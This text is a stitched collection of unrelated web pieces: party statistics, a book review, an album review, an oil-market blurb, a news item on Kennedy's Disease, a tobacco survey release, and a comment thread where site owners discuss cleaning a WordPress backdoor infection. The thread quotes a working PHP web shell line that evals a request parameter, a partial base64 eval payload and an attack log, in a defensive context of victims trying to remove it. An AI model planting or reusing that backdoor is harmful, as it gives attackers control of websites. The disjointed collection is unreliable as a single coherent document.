Number of top mixologists mixing drinks for the party: 6
Total guests: 440
Total tables: 40
Number of OG chefs in the house shouted out by Host Mario Batali: 2 (specifically, Bobby Flay and Alfred Portale).
Number of dishes with black truffles: 5
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Monuments and Maidens: The Allegory of the Female Form
Image as Insight: Visual Understanding in Western Christianity and Secular Culture
Marina Warner has written an interesting but discursive book, which shows the great difficulty she had in imposing order on its enormous subject matter. The guiding idea of the book is the use of female figures to stand for other things. Warner's point of departure is the Statue of Liberty, which is a woman standing for freedom; from this she goes on to other monuments, such as the figure of Britannia and the allegorical statues of female figures in the Paris streets. The form of metaphor which these monuments portray is culturally rooted not only in artistic tradition but in language and in myth. So the book deals with very complex subjects. The question that presses on the reader is whether the complexity arises from the nature of the subject, or whether some of it is due to the confused way that Marina Warner approaches it.
The first part of the book, "The Female Presence Today," is by far the liveliest, and the most coherent. It deals with political metaphor in the monumental sculpture of New York, Paris, and London, and it contains an entertaining digression on Mrs. Thatcher as an armed female victor, "arousing the vim of sexual energy but channelling it to proper use." The second section is called "The Figure in Myth"; possibly the "figure" intended is the female one, but the title also suggests metaphors ("figures") based on females. The section begins with a discussion of the linguistic traditions in which abstract virtues and qualities are commonly feminine in gender, so that, for example, "faith," "hope," "charity," and "justice" are feminine in the Romance tongues. To illustrate the social context of this usage Warner uses certain gods and goddesses of Greek mythology and the personifications derived from them. Night, the virgin mother, and Eris, strife, begin the catalog, but discussion turns to Metis, the Titan wife whom Zeus swallowed, allowing his daughter Athena to be born from the head of her father instead of from the womb of her mother. The motherless Athena turns out to be the pivot of the argument, and she is discussed at very great length. Two more chapters, pendants to the Athena myth, discuss images of fame and their sculpted representations, and traditional effigies of justice executed by a woman's hand. The chapter "Lady Wisdom" has no very obvious connection with what goes before; it is largely a digression on the kinds of imagery used by certain female writers in the Middle Ages (with a mysterious addendum about the eighteenth-century painter Angelica Kauffmann).
In Part III, "The Body in Allegory," Warner discusses the Pandora and Pygmalion figures in myth, art, and literature, and how mysteriously "created" female types (not excluding Eve) are related to ideas of artistic creation. "The Sieve of Tuccia" deals with ideas and representations of the female body as a perfect and whole container for the virtues, notably those of sexual virtue or chastity. A third chapter, "The Slipped Chiton," extends the arguments about female subjects for political…
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To say Avery County, North Carolina is an interesting place would be an understatement. Nestled in the Blue Ridge Mountains and boasting the highest elevation of any county east of the Mississippi, its unique geography is paired with an equally odd mix of residents and developments. Elements of old Appalachia – rural poverty, vast swathes of the county lacking cell phone service, and weekly bluegrass pickings at country stores – coexist along glaring symbols of gentrification like ski slopes, upscale clothing boutiques, multimillion dollar homes and ubiquitous hordes of elderly Floridians. Add in a thriving industry of tourist traps like gem "mines," garish displays of both natural and unnatural fall foliage and festivals venerating woolly worms, and you've got a truly bizarre mix, but one cannot help but notice the ever-present tensions between old and new development. One of my favorite chroniclers of the region, author Ron Rash is perhaps the best at capturing the tensions between old and new Appalachia in short stories about down-on-their-luck meth addicts and rural folk. Massive new subdivisions always seem to be lurking on the edges of his grim vignettes; just as mansions and condos popping up on surrounding ridges jarringly disrupts the natural beauty of this area. It's a county that also happens to be, as of August, my new home, and we found ourselves on the knife's edge of this conflict while being aggressively tailgated while attempting to navigate treacherous mountain roads in a car with Florida plates.
Coincidentally enough, this rural mountain county of 18,000 is also the subject of a new concept album of sorts from Barton Carroll, a songwriter who grew up in Avery County before moving out west to Seattle. With his distance from North Carolina, its safe to say Carroll's nostalgia tinted view of Avery County life falls into the traditional side of this area's divide between history and change. In an interview (an album stream is linked here as well), Carroll described the record as "reflections of an upbringing in the Appalachian Mountains seen through the lens of several years of city life on the West Coast" and its full of folk-tinged songs about lost loves and mountain memories, in the best storytelling tradition. My favorite off the record is probably "Beech Mountain Waltz," a doomed love story about a World War 1 where a soldier goes to war while his lover dies of the Spanish Flu.
And thankfully, for the purposes of this site, he also includes a train song, "It Had to Be a Train," yet another sad train song about a departing lover, this time leaving from Boone. There is a clever hint of self-awareness about the somewhat cliched plot of the song – the narrator mocks her choice of transportation "don't you know the train's outdated these days." And indeed, a picky railroad historian would note that the last major railroad operating in the county, the East Tennessee and Western North Carolina, or "Tweetsie Railroad" was washed out in a 1957 flood. But it's definitely an effective train song that fits well on a record built around fuzzy and somewhat distorted remembrances of the past.
Incidentally, the album just came out Tuesday (October 15) – so check it out on Skybucket Records. I've been playing it a lot lately, and not just because its about Avery County!


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Oil Storage Market size comprises of company's manufacture and individual owner participants which may positively impact on oil storage demand, trade between terminal, and countries. Oil storage are canister or reservoir used to store petroleum products. These storage tanks contain biological liquid, non-biological liquid used for oil processing for products such as petrol, diesel oil, paraffin and others at different stages. These are broadly classified into two different categories atmospheric and pressurized, where atmospheric pressure is high in Atmospheric tanks (AST) which holds liquid at atmospheric pressure, liquid which evaporate are stored in Pressurized Tanks (PST).
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The increasing demand for crude oil in some countries of South East Asia led by Indonesia would drive the oil storage market. Major oil storage hubs in world are Jurong island(Singapore), Rotterdam (Netherlands) had highest oil storage position in market as trading place and due to specialized storage, Fujairah (United Arab Emirates). In Asia Jurong island(Singapore) is situated between Pacific and Indian Ocean and is the most strategic location for refinery hubs.
Followed by some other oil terminals Jiangyin, Shanghai, Sao Paulo, Houston, Amsterdam, China, Oklahoma. By products stored in storage tanks are divided in market as: Crude oil, Brent crude oil, Aviation fuel, Diesel, Gasoline, Gas oil, Kerosene, Liquefied Natural Gas, Liquefied Petroleum Gas, vegetable oils, synthetic oils, biodegradable oils, solid hydrocarbon products, like bitumen, aromatic hydrocarbons.
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This is the radical we can all have. This time to put down the roots for radical growth. Roots that did not rise above the ground, the tiny births and deaths that make up you, in this moment. THe intersection of your past, your historical DNA, your infinite possibilities, and NOW.
This is the time for radical change.
Not face piercings, neon pedicures, quitting jobs, or eloping with a stranger.
(Which are all beautiful when birthed as an act of dancing with your source).
Watering, fertilizing, seeding. Creating strong, intentional, and focused plantings.
Plantings that will yield radical growth from the roots... the kind not birthed from impulsivity.
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It's been a while since my last "top ten" post, and boy am I ready for another one! Tonight/this morning I am up and thinking about NYC. Today a friend asked me if I miss the city, and of course I do. Who wouldn't? So tonight's top ten is..
"Top Ten Things I Miss About NYC"
1. My job. Looking for a new one stinks, especially since I really loved my old job. It's so rare to find a job you love, a boss you love in a location you love.
2. Central Park. Tennessee is full of nature and breathtaking views, but I still miss walking to Central Park, taking Belle to "off leash hours", picnicking and people watching. No park can compare to Central Park.
3. The FOOD! OMG, why don't the nice men on bicycles ride to Nashville to deliver my favorite vegetarian dishes at 2am?! I miss the pizza, the bagels, the Indian restaurant near my apartment, diner breakfast and it's only been a few weeks!
4. Public Transportation. I never thought I'd miss the subway, but it's a hell of a lot cheaper than buying gas. It was also nice to just sit and read while someone else did the driving.
5. The shopping. I miss Madison and 5th so much. Not that I could afford to shop on Madison and 5th, but window shopping was mine and Husband's favorite way to relax.
6. The views. We may have snuck onto the roof the Parker Meridian fairly often to enjoy its view of the city, but we also love the view from many other rooftops…half of which were legal.
7. New exciting things and events every weekend. There is always something new to do in NY. The Daily Candy and Time Out NY always kept me up on the latest exhibits, new store openings, upcoming concerts, Broadway premiers, fashion shows, free festivals, street fairs, comedy shows, park events and so much more. NY has something for everyone…and LOTS for me.
8. The fashion. I loved just looking at what everyone was wearing, but I really loved the fact that I could wear anything I wanted and not be judged. New York is probably the only place that you will see a girl in stilettos, a guy dressed in candy wrappers, someone half-naked, someone else wrapped in cellophane, people in pajamas and people in designer gowns all within feet of each other. No one even gives them a second glance because a)they could be going anywhere or coming from anywhere and b) who cares? Now, in Tennessee, I get stares if I wear a sheer top or tie-dyed wedges.
9. Broadway. I think we saw over 30 shows in the two years we lived in NY. I loved being able to pick up half-price tickets in Time Square on a whim any night we felt like going out.
10. Zoey. Yep, I miss you Zoey.


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Both EurrekAlert and News Medical published the following article on misfolding diseases including Kennedy's Disease (SBMA). It is good to see more attention focused on this condition.
Protein misfolding diseases, such as Alzheimer's and Parkinson's Disease, are rising in incidence and seeing increasing financial and healthcare burden. Treatments and accurate diagnostics for these diseases are lacking.
This issue of Future Science OA, featuring Guest Editor Salvador Ventura (Universitat Autònoma de Barcelona, Spain), highlights recent advances in the understanding of these disorders, and provides fresh ideas for their future therapy. In a series of articles written by experts at the cutting edge of the field, the issue begins by looking at recent inroads into our expanding knowledge of protein misfolding disorders and their protein targets. It then goes on to look at amyloid aggregation in specific disease areas, including the neurodegenerative: Alzheimer's, Parkinson's and Huntingdon's disease; glioblastoma; cystic fibrosis; spinal and bulbar muscular atrophy; and malaria. …"
Also, eLife published the abstract of a recent study of Kennedy's Disease. I understood some of the article, but am hoping Ed Meyertholen will provide some needed clarification on this research.
"Spinal and Bulbar Muscular Atrophy (SBMA) is a progressive neuromuscular disease caused by polyglutamine expansion in the Androgen Receptor (AR) protein. Despite extensive research, the exact pathogenic mechanisms underlying SBMA remain elusive. Here we present evidence that Nemo-Like Kinase (NLK) promotes disease pathogenesis across multiple SBMA model systems. Most remarkably, loss of one copy of Nlk rescues SBMA phenotypes in mice, including extending lifespan. We also investigated the molecular mechanisms by which NLK exerts its effects in SBMA. Specifically, we have found that NLK can phosphorylate the mutant polyglutamine-expanded AR, enhance its aggregation, and promote AR-dependent gene transcription by regulating AR-cofactor interactions. Furthermore, NLK modulates the toxicity of a mutant AR fragment via a mechanism that is independent of AR-mediated gene transcription. Our findings uncover a crucial role for NLK in controlling SBMA toxicity and reveal a novel avenue for therapy development in SBMA."
Note: You can download the PDF of the abstract near the top of the linked page.


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So far this is the best article out there about this new and very dangerous virus. I must say I have tried EVERYTHING. It returns .. I'm not sure how. My last resort was to close all the sites. I've checked the raw logs and there's nothing strange. I can't believed I've been hacked this way. The file modification date remains the same even after index.php gets infected so it is clearly not via ftp, even though I scanned all my machines.
I see that you discussed with HostGator guys that catched a backdoor. Do you have more info on that ? My shared hosting is with them but they answer way too slow on their ticketing system.
Please help me, I don't know what else to do, I've spent 4 days trying to remove this virus without success. Please email me to the email I've posted this comment with.
Thank you very much,
I apologize for the delay. We have been under quite heavy load recently.
If possible, can you supply me with your ticket number so I can look into this for you in more depth?
Hey Michael,
My ticket number is CAG-14844181 .
I have replied to your ticket. Please let me know if you experience any further issues.
big thanks to both Denis and Daniel on this one! I have been working with Daniel for a few days now trying to rid my sites of this same virus as well. With their help it looks like I was finally able to! I too found the string:
<?php if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));
It was in an archives.php in a theme file. They absolute key is the search file that daniel posted that allowed me to search all my server at once (over 10 complete sites). it would have been impossible to download them all and do it that way. And thanks to you Denis for showing us what to search for!
Thank you for this post. All my sites running wordpress got hacked. I was shocked. Then I was searching yesterday and today, and come across this site and a few others with the same "eval" issue. No files were timestamped with any updates for years. Then I downloaded the index.php, and there was the base64 code just sitting there on top. I have other sites running PHP, but not wordpress. ONLY MY WORDPRESS SITES ARE AFFECTED (so it seems). The funny thing is that I have 1 wordpress site for years (never updated that version), 2 other "test" wordpress sites on test folders. So my "main.com" site doesn't get the error, but "main.com/test" gets the malware alert from chrome.
It could have been the old wordpress version, or it could have been the latest theme i downloaded already had the code in there. From now on, i am going to only download ones from wordpress.org or get buy a premium one.
Now I am just going to delete most of the sites.
Few questions:
How does the backdoor actually work? Through comments, or a vulnerable php file? Then it goes up a directory tree and sees i have 10 other sites? then only targets wordpress files? Does it touch my database files?
Thanks for your help.
Thank you for this article, it's a great help. Over at FileDen.com we've been experiencing issues with these .co.cc attacks over the last week or so and have been struggling to get to the bottom of it due to the sheer size of our log files.
Once the backdoor is there of course, it's extremely hard to spot what they're doing. We had a wordpress installation, but took it down when we originally got infected expecting it to be the cause.
Have you seen any cases of them writing backdoors to files outside of wordpress? The iframes themselves have been showing up on files on the main FileDen.com website.
Unless you have something like mod_security running that is capturing some more information, it is sometimes hard to see more of what it happening. I had a wordpress installation which was pretty much patched that was compromised. The compromise appeared to start with self-registration being left on and someone from Poland registering themselves. Later, an attack from an address in china seemed to use a valid session cookie and gained access. within a minute an Ip address from columbia connected and edited a php file in a theme allowing for the asc= variable. I have the full set of attacks after that — a base64 encoded string which searched the full system for any index.htm* and index.php files that were writable. After that a focused attack using the file list gleaned from the original probe pushed out the iframe updates. I am seeing between 5 and 15 updates per day that attempt to change the URL. The updates are coming from computers all over the world, but are targeting specifically this server. All that is seen with the attack after the original compromise is a POST / — nothing else. One thing I have noted is that all of what I assume are bot members trying to update the links have the following user agent:
"Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;" I'm keying off of the Mozila and the MyIE2 parts to autoblock addresses as they attempt the updates (148 unique attacking addresses so far, most since the 27th of Feb)
Example log:
aaa.bbb.ccc.ddd – – [20/Mar/2011:10:40:12 -0600] "POST / HTTP/1.0″ 200 40522 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;"
with the POST containing
asc=eval(base64_decode(%27ZXJyb3JfcmVwb3J0aW5nKDApO3NldF90 which is specific to this server.
I'm still wondering how this could happen:
"within a minute an Ip address from columbia connected and edited a php file"
If the file is not writable I'm not clear how this could even be possible. Does your host have suPHP setup such that all users have ownership as themselves and not "nobody"
What were the permissions on the file before it was edited in this way?
Thank you for the details,
It's a lame manual. You delete only side effects of disease and cannot even imagine depth of the problem.
What will you do,if you have frame, but there is a fresh install of WP. Nothing! Reboot, ps aux | grep hacker , who and other helpful commands :)
You've stopped thinking!
I dont want to offend you, sorry.But I know too much people who make money injecting frame – a long time ago i was one of them ;), so I can tell – the frame generate nix-based OS. "Kernel" make the frame ;)
Delete everything and install again.
If you need know more – contact me – I'll show you the painless way to do this.
To dear denis,
firstly,forgive my poor english.
Then thanks for your article,although it's hard to me :) because of my poor english.
And i write to you because my site is also get hacked,and i found bad code:<?php eval(base64_decode('ZXJ….
in the root/index.php and /admin/index.php(i cant find any more),im not sure if there are more bad code in other files.
and my site is a zen-cart systerm(something like osCommerce shopping cart).I have read this articles 3 times,but i cant find how to fix my zencart site because you have not mentioned any methoeds to fix zencart sites.
So i'm writing to you ask for how to find backdoors in zencart sites.
Im really appreciate your help!!
Many thanks
Mya : )
The vulnerability is/was actually timthumb. Using WooThemes or others that use that (f)utility? You're f*#%$d. Update them…
The idiots hacking the blogs hit up common paths of themes with timthumb and if they find them… you know what happens.
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Cleaning a 3 GB space in my host is killing me, and i can not find the source of infection for 3 weeks. Damn. Thank you for the post, now i have few more places to look :)
I cleaned the nasty codes months ago and the hackers came back! I just found scripts hidden inside HTML files in my non wordpress folders. Some of these folders are not even indexed by Google, which means that somebody entered via FTP. the cod was hidden waaay down at the end of the HTML, and it was a long obfuscated code, which started like this: ""
I right clicked on my whole backup and scanned with AVG and it found a lot of HTML/Framer – I just don't know, why it didn't found before, when it makes full scan.
Some jquery.js files were also highlighted as HTML/Framer so I downloaded the same version of jquery.js and compared, they are different. I am not programmer, but it seams that hackers modified these files as well.
I don't know how to paste code here, so again the code contained SCRIPT id="googleblogcontainer"
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More than 90 per cent of participants in the China City Adult Tobacco Survey 2013-14 supported a total ban on smoking inside public places including healthcare facilities, workplaces, schools and taxis. Over 80 per cent of respondents also supported restrictions on smoking in restaurants.
The survey involved 31,151 people from 14 major cities, including Beijing. Conducted by the Chinese Center for Disease Control and Prevention [CDC], the new data provides key information for understanding the tobacco epidemic and the impact of tobacco control measures.
"The overwhelming public support for smokefree environments is an indicator of the success of these policies in China," said Dr Gan Quan, Director of The Union's China Office. "With this baseline data we can now build on our achievements and direct additional attention to issues that need improvement."
The survey gathered data on exposure to second-hand smoke, tobacco advertising and promotion, the economics of cigarettes, and cessation -- key indicators for tobacco control measures recommended by the World Health Organization (WHO) in its Framework Convention on Tobacco Control (WHO FCTC). It also included questions on the developing relationship between tobacco and e-cigarette use. Such surveillance is vital for enhancing the design and implementation of tobacco control action plans.
The results highlighted key areas of concern for public health – more than 40 per cent of respondents reported being exposed to second-hand smoke in the workplace during the previous month, and less than 40 per cent of smokers who completed the survey said they had tried to quit in the last year. Crucially, cigarettes remain very cheap, costing on average less than 10 Yuan for a pack of 20, equivalent to just one pound sterling.
"The survey results are encouraging. The tobacco control policies China has introduced are both popular and effective. But a comprehensive package of measures is now needed if China hopes to save the millions of lives currently threatened by exposure to tobacco smoke," said Dr Ehsan Latif, Director of Tobacco Control at The Union. "Countries that have introduced WHO's complete MPOWER package of evidence-based tobacco control measures have achieved great things to protect public health – China can do the same."
The Union has worked with China CDC since 2007 and has supported five major cities to pass laws banning smoking in public places, affecting a total population of 45 million people. These city-level successes have created a nationwide momentum to push for a total ban on smoking in public places, and led to the drafting of a national smokefree law by the National Health and Family Planning Commission. This is currently under review by the State Council.
China's smoking rate is one of the highest in the world. More than 300 million adults in China smoke tobacco, accounting for 30% of the global population. Smoking leads to 1.3 million tobacco-related deaths in China every year, of which 100,000 are caused by exposure to second-hand smoke. If unchecked it is estimated that tobacco use will account for 3.5 million deaths each year by 2030.
Several strong policies have been introduced so far this year – Beijing's Smokefree Law, the National Advertising Law, and the first cigarette tax hike since 2009. China has made huge strides to protect public health through tobacco control measures, but as this survey shows, additional and strengthened policies are needed. The survey was a collaborative project involving six organisations including The Union, China CDC and WHO. Access the full report here.